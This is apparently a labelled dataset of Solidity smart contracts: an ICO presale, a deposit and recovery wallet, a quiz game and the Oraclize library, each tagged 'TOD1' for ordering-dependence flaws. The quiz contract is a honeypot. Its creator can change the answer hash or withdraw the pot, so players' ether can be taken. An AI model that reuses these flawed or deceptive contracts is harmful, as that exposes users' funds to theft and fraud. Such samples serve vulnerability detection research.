uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract DividendPayoutToken is CappedToken { // Dividends already claimed by investor mapping(address => uint256) public dividendPayments; // Total dividends claimed by all investors uint256 public totalDividendPayments; // invoke this function after each dividend payout function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public { dividendPayments[_investor] = dividendPayments[_investor].add(_amount); totalDividendPayments = totalDividendPayments.add(_amount); } //When transfer tokens decrease dividendPayments for sender and increase for receiver function transfer(address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[msg.sender]; // invoke super function with requires bool isTransferred = super.transfer(_to, _value); uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom); dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } //When transfer tokens decrease dividendPayments for token owner and increase for receiver function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[_from]; // invoke super function with requires bool isTransferred = super.transferFrom(_from, _to, _value); uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom); dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } } contract IcsToken is DividendPayoutToken { string public constant name = "Interexchange Crypstock System"; string public constant symbol = "ICS"; uint8 public constant decimals = 18; // set Total Supply in 500 000 000 tokens constructor() public CappedToken(5e8 * 1e18) {} } contract HicsToken is DividendPayoutToken { string public constant name = "Interexchange Crypstock System Heritage Token"; string public constant symbol = "HICS"; uint8 public constant decimals = 18; // set Total Supply in 50 000 000 tokens constructor() public CappedToken(5e7 * 1e18) {} } /** * @title Helps contracts guard against reentrancy attacks. */ contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } contract PreSale is Ownable, ReentrancyGuard { using SafeMath for uint256; // T4T Token ERC20 public t4tToken; // Tokens being sold IcsToken public icsToken; HicsToken public hicsToken; // Timestamps of period uint64 public startTime; uint64 public endTime; uint64 public endPeriodA; uint64 public endPeriodB; uint64 public endPeriodC; // Address where funds are transferred address public wallet; // How many token units a buyer gets per 1 wei uint256 public rate; // How many token units a buyer gets per 1 token T4T uint256 public rateT4T; uint256 public minimumInvest; // in tokens uint256 public hicsTokenPrice; // in tokens // Max HICS Token distribution in PreSale uint256 public capHicsToken; // in tokens uint256 public softCap; // in tokens // investors => amount of money mapping(address => uint) public balances; // in tokens // wei which has stored on PreSale contract mapping(address => uint) balancesForRefund; // in wei (not public: only for refund) // T4T which has stored on PreSale contract mapping(address => uint) balancesForRefundT4T; // in T4T tokens (not public: only for refund) // Amount of wei raised in PreSale Contract uint256 public weiRaised; // Number of T4T raised in PreSale Contract uint256 public t4tRaised; // Total number of token emitted uint256 public totalTokensEmitted; // in tokens // Total money raised (number of tokens without bonuses) uint256 public totalRaised; // in tokens /** * events for tokens purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param tokens purchased */ event IcsTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 tokens); event HicsTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 tokens); /** * @dev Constructor of PreSale * * @notice Duration of bonus periods, start and end timestamps, minimum invest, * minimum invest to get HICS Token, token price, Soft Cap and HICS Hard Cap are set * in body of PreSale constructor. * * @param _wallet for withdrawal ether * @param _icsToken ICS Token address * @param _hicsToken HICS Token address * @param _erc20Token T4T Token address */ constructor( address _wallet, address _icsToken, address _hicsToken, address _erc20Token) public { require(_wallet != address(0)); require(_icsToken != address(0)); require(_hicsToken != address(0)); require(_erc20Token != address(0)); // periods of PreSale's bonus and PreSale's time startTime = 1528675200; // 1528675200 - 11.06.2018 00:00 UTC endPeriodA = 1529107200; // 1529107200 - 16.06.2018 00:00 UTC endPeriodB = 1529798400; // 1529798400 - 24.06.2018 00:00 UTC endPeriodC = 1530489600; // 1530489600 - 02.07.2018 00:00 UTC endTime = 1531353600; // 1531353600 - 12.07.2018 00:00 UTC // check valid of periods bool validPeriod = now < startTime && startTime < endPeriodA && endPeriodA < endPeriodB && endPeriodB < endPeriodC && endPeriodC < endTime; require(validPeriod); wallet = _wallet; icsToken = IcsToken(_icsToken); hicsToken = HicsToken(_hicsToken); // set T4T token address t4tToken = ERC20(_erc20Token); // 4 tokens = 1 T4T token (1$) rateT4T = 4; // minimum invest in tokens minimumInvest = 4 * 1e18; // 4 tokens = 1$ // minimum invest to get HicsToken hicsTokenPrice = 2e4 * 1e18; // 20 000 tokens = 5 000$ // initial rate - 1 token for 25 US Cent // initial price - 1 ETH = 680 USD rate = 2720; // number of tokens for 1 wei // in tokens softCap = 4e6 * 1e18; // equals 1 000 000$ capHicsToken = 15e6 * 1e18; // 15 000 000 tokens } // @return true if the transaction can buy tokens modifier saleIsOn() { bool withinPeriod = now >= startTime && now <= endTime; require(withinPeriod); _; } // allowed refund in case of unsuccess PreSale modifier refundAllowed() { require(totalRaised < softCap && now > endTime); _; } // @return true if CrowdSale event has ended function hasEnded() public view returns (bool) { return now > endTime; } // Refund ether to the investors in case of under Soft Cap end function refund() public refundAllowed nonReentrant { uint256 valueToReturn = balancesForRefund[msg.sender]; // update states balancesForRefund[msg.sender] = 0; weiRaised = weiRaised.sub(valueToReturn); msg.sender.transfer(valueToReturn); } // Refund T4T tokens to the investors in case of under Soft Cap end function refundT4T() public refundAllowed nonReentrant { uint256 valueToReturn = balancesForRefundT4T[msg.sender]; // update states balancesForRefundT4T[msg.sender] = 0; t4tRaised = t4tRaised.sub(valueToReturn); t4tToken.transfer(msg.sender, valueToReturn); } // Get bonus percent function _getBonusPercent() internal view returns(uint256) { if (now < endPeriodA) { return 40; } if (now < endPeriodB) { return 25; } if (now < endPeriodC) { return 20; } return 15; } // Get number of tokens with bonus // @param _value in tokens without bonus function _getTokenNumberWithBonus(uint256 _value) internal view returns (uint256) { return _value.add(_value.mul(_getBonusPercent()).div(100)); } // Send weis to the wallet // @param _value in wei function _forwardFunds(uint256 _value) internal { wallet.transfer(_value); } // Send T4T tokens to the wallet // @param _value in T4T tokens function _forwardT4T(uint256 _value) internal { t4tToken.transfer(wallet, _value); } // Withdrawal eth from contract function withdrawalEth() public onlyOwner { require(totalRaised >= softCap); // withdrawal all eth from contract _forwardFunds(address(this).balance); } // Withdrawal T4T tokens from contract function withdrawalT4T() public onlyOwner { require(totalRaised >= softCap); // withdrawal all T4T tokens from contract _forwardT4T(t4tToken.balanceOf(address(this))); } // Success finish of PreSale function finishPreSale() public onlyOwner { require(totalRaised >= softCap); require(now > endTime); // withdrawal all eth from contract _forwardFunds(address(this).balance); // withdrawal all T4T tokens from contract _forwardT4T(t4tToken.balanceOf(address(this))); // transfer ownership of tokens to owner icsToken.transferOwnership(owner); hicsToken.transferOwnership(owner); } // Change owner of tokens after end of PreSale function changeTokensOwner() public onlyOwner { require(now > endTime); // transfer ownership of tokens to owner icsToken.transferOwnership(owner); hicsToken.transferOwnership(owner); } // Change rate // @param _rate for change function _changeRate(uint256 _rate) internal { require(_rate != 0); rate = _rate; } // buy ICS tokens function _buyIcsTokens(address _beneficiary, uint256 _value) internal { uint256 tokensWithBonus = _getTokenNumberWithBonus(_value); icsToken.mint(_beneficiary, tokensWithBonus); emit IcsTokenPurchase(msg.sender, _beneficiary, tokensWithBonus); } // buy HICS tokens function _buyHicsTokens(address _beneficiary, uint256 _value) internal { uint256 tokensWithBonus = _getTokenNumberWithBonus(_value); hicsToken.mint(_beneficiary, tokensWithBonus); emit HicsTokenPurchase(msg.sender, _beneficiary, tokensWithBonus); } // buy tokens - helper function // @param _beneficiary address of beneficiary // @param _value of tokens (1 token = 10^18) function _buyTokens(address _beneficiary, uint256 _value) internal { // calculate HICS token amount uint256 valueHics = _value.div(5); // 20% HICS and 80% ICS Tokens if (_value >= hicsTokenPrice && hicsToken.totalSupply().add(_getTokenNumberWithBonus(valueHics)) < capHicsToken) { // 20% HICS and 80% ICS Tokens _buyIcsTokens(_beneficiary, _value - valueHics); _buyHicsTokens(_beneficiary, valueHics); } else { // 100% of ICS Tokens _buyIcsTokens(_beneficiary, _value); } // update states uint256 tokensWithBonus = _getTokenNumberWithBonus(_value); totalTokensEmitted = totalTokensEmitted.add(tokensWithBonus); balances[_beneficiary] = balances[_beneficiary].add(tokensWithBonus); totalRaised = totalRaised.add(_value); } // buy tokens for T4T tokens // @param _beneficiary address of beneficiary function buyTokensT4T(address _beneficiary) public saleIsOn { require(_beneficiary != address(0)); uint256 valueT4T = t4tToken.allowance(_beneficiary, address(this)); // check minimumInvest uint256 value = valueT4T.mul(rateT4T); require(value >= minimumInvest); // transfer T4T from _beneficiary to this contract require(t4tToken.transferFrom(_beneficiary, address(this), valueT4T)); _buyTokens(_beneficiary, value); // only for buy using T4T tokens t4tRaised = t4tRaised.add(valueT4T); balancesForRefundT4T[_beneficiary] = balancesForRefundT4T[_beneficiary].add(valueT4T); } // manual transfer tokens by owner (e.g.: selling for fiat money) // @param _to address of beneficiary // @param _value of tokens (1 token = 10^18) function manualBuy(address _to, uint256 _value) public saleIsOn onlyOwner { require(_to != address(0)); require(_value >= minimumInvest); _buyTokens(_to, _value); } // buy tokens with update rate state by owner // @param _beneficiary address of beneficiary // @param _rate new rate - how many token units a buyer gets per 1 wei function buyTokensWithUpdateRate(address _beneficiary, uint256 _rate) public saleIsOn onlyOwner payable { _changeRate(_rate); buyTokens(_beneficiary); } // low level token purchase function // @param _beneficiary address of beneficiary function buyTokens(address _beneficiary) saleIsOn public payable { require(_beneficiary != address(0)); uint256 weiAmount = msg.value; uint256 value = weiAmount.mul(rate); require(value >= minimumInvest); _buyTokens(_beneficiary, value); // only for buy using PreSale contract weiRaised = weiRaised.add(weiAmount); balancesForRefund[_beneficiary] = balancesForRefund[_beneficiary].add(weiAmount); } function() external payable { buyTokens(msg.sender); } }
TOD1
pragma solidity ^0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Owner { address internal owner; modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address newOwner) public onlyOwner returns(bool) { owner = newOwner; return true; } } contract EagleEvent { event onEventDeposit ( address indexed who, uint256 indexed value ); event onEventWithdraw ( address indexed who, address indexed to, uint256 indexed value ); event onEventWithdrawLost ( address indexed from, address indexed to, uint256 indexed value ); event onEventReport ( address indexed from, address indexed to ); event onEventVerify ( address indexed from ); event onEventReset ( address indexed from ); event onEventUnlock ( address indexed from ); } contract Eagle is Owner, EagleEvent { //State enum State { Normal, Report, Verify, Lock } using SafeMath for uint256; uint256 public constant withdraw_fee = 600000000000000; // 0.0006eth for every withdraw uint256 public constant withdraw_fee_lost = 10000000000000000; // 0.01eth for withdraw after lost uint256 public constant report_lock = 100000000000000000; // 0.1eth for report, cost for some malicious attacks. //core data mapping(address => uint256) public balances; mapping(address => State) public states; mapping(address => uint) public verifytimes; mapping(address => address) public tos; mapping(address => bytes) public signs; constructor() public { owner = msg.sender; } function getbalance(address _owner) public view returns(uint256) { return balances[_owner]; } function getstate(address _owner) public view returns(State) { return states[_owner]; } function getverifytime(address _owner) public view returns(uint) { return verifytimes[_owner]; } //deposit function () public payable { require(states[msg.sender] == State.Normal); balances[msg.sender] = balances[msg.sender].add(msg.value); emit onEventDeposit(msg.sender, msg.value.div(100000000000000)); } //withdraw function withdraw(address _to, uint256 _value) public { require(states[msg.sender] != State.Lock); require(balances[msg.sender] >= _value.add(withdraw_fee)); balances[msg.sender] = balances[msg.sender].sub(_value.add(withdraw_fee)); _to.transfer(_value); owner.transfer(withdraw_fee); emit onEventWithdraw(msg.sender, _to, _value.div(100000000000000)); } //withdraw for loss function withdrawloss(address _from, address _to) public { require(_to == msg.sender); require(tos[_from] == _to); require(states[_from] == State.Verify); require(states[_to] == State.Normal); //check verify time require(now >= verifytimes[_from] + 5 days); require(balances[_from] >= withdraw_fee_lost); emit onEventWithdrawLost(_from, _to, balances[_from].div(100000000000000)); owner.transfer(withdraw_fee_lost); balances[_to] = balances[_to].add(balances[_from]).sub(withdraw_fee_lost); balances[_from] = 0; states[_from] = State.Normal; verifytimes[_from] = 0; tos[_from] = 0; } //report function report(address _from, address _to, bytes _sign) public { require(_to == msg.sender); require(states[_from] == State.Normal); require(balances[_to] >= report_lock); require(states[_to] == State.Normal); signs[_from] = _sign; tos[_from] = _to; states[_from] = State.Report; states[_to] = State.Lock; emit onEventReport(_from, _to); } //verify function verify(address _from, bytes _id) public { require(states[_from] == State.Report); bytes memory signedstr = signs[_from]; bytes32 hash = keccak256(_id); hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); bytes32 r; bytes32 s; uint8 v; address addr; if (signedstr.length != 65) { addr = 0; } else { assembly { r := mload(add(signedstr, 32)) s := mload(add(signedstr, 64)) v := and(mload(add(signedstr, 65)), 255) } if(v < 27) { v += 27; } if(v != 27 && v != 28) { addr = 0; } else { addr = ecrecover(hash, v, r, s); } } require(addr == _from); verifytimes[_from] = now; states[_from] = State.Verify; states[tos[_from]] = State.Normal; emit onEventVerify(_from); } // reset the user's state for some malicious attacks function resetState(address _from) public onlyOwner { require(states[_from] == State.Report || states[_from] == State.Lock); if(states[_from] == State.Report) { states[_from] = State.Normal; verifytimes[_from] = 0; tos[_from] = 0; emit onEventReset(_from); } else if(states[_from] == State.Lock) { states[_from] = State.Normal; balances[_from] = balances[_from].sub(report_lock); owner.transfer(report_lock); emit onEventUnlock(_from); } } }
TOD1
pragma solidity ^0.4.25; contract GAME { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>3 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function SetQGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.19; // File: contracts/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/oraclizeLib.sol // <ORACLIZE_API_LIB> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } library oraclizeLib { //byte constant internal proofType_NONE = 0x00; function proofType_NONE() constant returns (byte) { return 0x00; } //byte constant internal proofType_TLSNotary = 0x10; function proofType_TLSNotary() constant returns (byte) { return 0x10; } //byte constant internal proofStorage_IPFS = 0x01; function proofStorage_IPFS() constant returns (byte) { return 0x01; } // *******TRUFFLE + BRIDGE********* //OraclizeAddrResolverI constant public OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); // *****REALNET DEPLOYMENT****** OraclizeAddrResolverI constant public OAR = oraclize_setNetwork(); // constant means dont store and re-eval on each call function getOAR() constant returns (OraclizeAddrResolverI) { return OAR; } OraclizeI constant public oraclize = OraclizeI(OAR.getAddress()); function getCON() constant returns (OraclizeI) { return oraclize; } function oraclize_setNetwork() public returns(OraclizeAddrResolverI){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet return OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); } if (getCodeSize(0xb9b00A7aE2e1D3557d7Ec7e0633e25739A6B510e)>0) { // ropsten custom ethereum bridge return OraclizeAddrResolverI(0xb9b00A7aE2e1D3557d7Ec7e0633e25739A6B510e); } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet return OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet return OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet return OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge return OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide return OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity return OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); } } function oraclize_getPrice(string datasource) public returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) public returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) public returns (bytes32 id){ return oraclize_query(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) public returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(string datasource, string arg, uint gaslimit) public returns (bytes32 id){ return oraclize_query(0, datasource, arg, gaslimit); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) public returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) public returns (bytes32 id){ return oraclize_query(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) public returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) public returns (bytes32 id){ return oraclize_query(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) public returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) internal returns (bytes32 id){ return oraclize_query(0, datasource, argN); } function oraclize_query(uint timestamp, string datasource, string[] argN) internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(string datasource, string[] argN, uint gaslimit) internal returns (bytes32 id){ return oraclize_query(0, datasource, argN, gaslimit); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_cbAddress() public constant returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) public { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) public { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) public { return oraclize.setConfig(config); } function getCodeSize(address _addr) public returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) public returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) public returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) public returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) 